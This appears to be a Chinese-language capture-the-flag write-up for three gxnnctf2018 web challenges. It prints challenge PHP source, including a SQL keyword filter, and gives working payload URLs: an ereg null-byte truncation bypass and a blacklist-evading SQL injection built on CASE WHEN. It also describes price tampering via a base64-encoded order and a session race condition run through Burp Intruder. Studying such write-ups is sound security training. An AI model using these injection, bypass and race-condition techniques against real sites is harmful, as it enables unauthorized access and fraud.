1
源码
<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['no'])){
$a=$_REQUEST['no'];
if(@ereg("^[0-9]+$", $a) === FALSE){
echo 'no must be number';
}else{
if(in_array($a,$white_list)){
if(strlen($a)>1){
echo 'you are a great dark phper<br>';
echo "<img src='dark.gif'><br>";
echo $flag;
}else{
echo 'you no dark';
}
}else{
echo 'you are so dark';
}
}
}else
highlight_file(__FILE__);
通过题目可以看出是ereg截断题
利用%00截断,简单的绕过就可以了
这题要满足参数no要为数字,而且必须是0-9之间的数字,长度还要大于1,构造
http://gxnnctf.gxsosec.cn:12311/?no=1%002
2.
看似应该是sql注入题
输(id=1,为admin;id=2,为guest)
附源码
<?php
$flag = 'gxnnctf{***************************}';
require_once('config.php');
$conn = new mysqli($db_servername,$db_username,$db_password,$db_name);
if($conn->connect_error){ // 链接错误
die("Connect failed:".$conn->connect_error);
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
die('Don\'t hurt me :-(');
$sql = "select username from user where id = ".$id;
$result = $conn->query($sql);
if($result)
{
$row = $result->fetch_array();
}
else
{
echo mysqli_error($conn);
die();
}
echo('hello '.$row['username'].'<br>');
$username = $row['username'];
//查询得到用户名。
if($username === 'guest')
{
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR']:$_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
{
die('Don\' hack me');
}
if(!empty($ip))
{
echo 'you from '.$ip.' , I remembered it.<br>';
$conn->query("insert into logs(ip) values('$ip')");
}
$result = $conn->query("select username from user where id =".$id);
$row = $result->fetch_array();
$username = $row['username'];
if($username === 'admin')
{
var_dump($_GET['backdoor']);
if(isset($_GET['backdoor'])&&$_GET['backdoor']==='Melonrind'){
echo 'you find the backdoor!!!<br>';
die($flag);
}else{
echo "you are so great,but you don\'t have backdoor,so continue to challenge :(";
}
}
else
{
echo "but i don\'t waiting for you ";
}
}
else
{
echo 'emmmmm';
}
}
else
{
echo 'welcome to gxnnctf2018!<br>';
echo 'i filtered everything,so have a good time :)';
}
过滤了很多关键字,而且也过滤了圆括号,这意味着大多数函数都不能使用,注入应该不行
,看源码,它要先满足id=2,在满足id=1,然后传参才能得到flag,但id不能同时传2个
这有篇大佬的可以参考一个有趣的 SQL 注入小系列
可以利用sql的case when then else end语句
在第一条语句中定义了一个自定义变量,根据它是否为 NULL 作为判断条件。
payload:
http://gxnnctf.gxsosec.cn:12312/?id=case%20when%20@hs%20is%20null%20then%20@hs:=2%20else%201%20end%23&backdoor=Melonrind
3.帽子商城
1、 先注册一个账号然后登录
2、 green level 1:
buy抓包,order的值改为{"good":1,"price":0}的base64编码值
3、 剩下条件竞争:
再buy抓包,得到当前账号第一个PHPSESSID的值,再获取一个当前账号的PHPSESSID的值(开多一个浏览器登录刚刚那个账号),然后发送刚刚捉到的包到intruder模块,PHPSESSID为变量
把得到的两个PHPSESSID的值丢进payload
之后intruder->start attack,之后访问就得到flag